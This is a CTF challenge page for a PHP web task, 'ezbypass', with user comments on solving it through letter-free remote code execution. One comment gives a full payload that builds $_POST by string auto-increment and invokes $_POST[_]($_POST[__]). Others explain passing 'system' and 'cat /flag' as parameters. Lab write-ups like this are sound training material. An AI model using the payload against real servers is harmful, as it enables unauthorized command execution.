ezbypassWEB 未解决

分数: 25 金币: 4
题目作者: XHH1H
一  血: volcano
一血奖励: 5金币
解  决: 375
提  示:
描  述:
flag{}
评论
Jiafeng 4月前

我去,属于知道思路,但是不敢实践的题目;(无数子字母RCE)

回复 0

小丁小丁少发神经 6月前

求问为啥设计成system和cat /flag用两个参数传,为什么不可以构造出$_POST[_]然后赋值_=system(cat /flag)呢(验证一下确实不行,但是不懂为啥)

回复 0
shingu 1月前

我也有个疑问。我花了好几个小时去研究,但也是一知半解。目前得到的答案是:`$$_[_]` 等价于 `${$_POST['_']}`,即用 `$_POST['_']` 的值作为变量名。如果使用`_=system(cat /flag)`,PHP会尝试访问名为 `$system('cat /flag')` 的变量,这显然非法,所以行不通。

回复 0

不会写代码的菜鸟 9月前

这道题完全不是我能做的,有答案也看不懂

回复 0

modeng 1年前

以下是我的思路与总结,希望对你有所帮助https://blog.csdn.net/m_de_g/article/details/138110100?spm=1001.2014.3001.5501

回复 4
Jiafeng 4月前

牛逼,可以直接造出N字符,那就好搞了;

回复 0

hutiaan 1年前

难,为了难而难

回复 0

不懂就问 1年前

参考:https://blog.csdn.net/qq_36292543/article/details/136623586

回复 1

不会编程的崽 1年前

自增绕过,最后的payload可以在burp里进行对特殊字符的url编码

回复 0

xiaoxiao972521 1年前

不做了,本地构建的脑瓜子刺挠,点跟蚊香去

回复 0

Daniel2023 1年前

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);

回复 1

treasure11 1年前

大败而归┭┮﹏┭┮

回复 0

WriteUp

image
Jesen

2 金币

评分(3)

解题动态

DK. 攻破了该题 1天前
11122222222 攻破了该题 2天前
ABCDHBY 攻破了该题 5天前
forces 攻破了该题 5天前
17823293548 攻破了该题 6天前
得闲饮茶 攻破了该题 7天前
daundian 攻破了该题 8天前
pezn1and 攻破了该题 8天前
jiayouya 攻破了该题 11天前
mxdyld 攻破了该题 15天前
GnawKing 攻破了该题 16天前
aqwzaa 攻破了该题 16天前
oopyman 攻破了该题 17天前
twimo 攻破了该题 17天前
unigui 攻破了该题 19天前
我喜欢花 攻破了该题 23天前
ldy127bugku 攻破了该题 24天前
18075013015 攻破了该题 24天前
sun_space 攻破了该题 29天前
Sadoshi 攻破了该题 29天前
问题反馈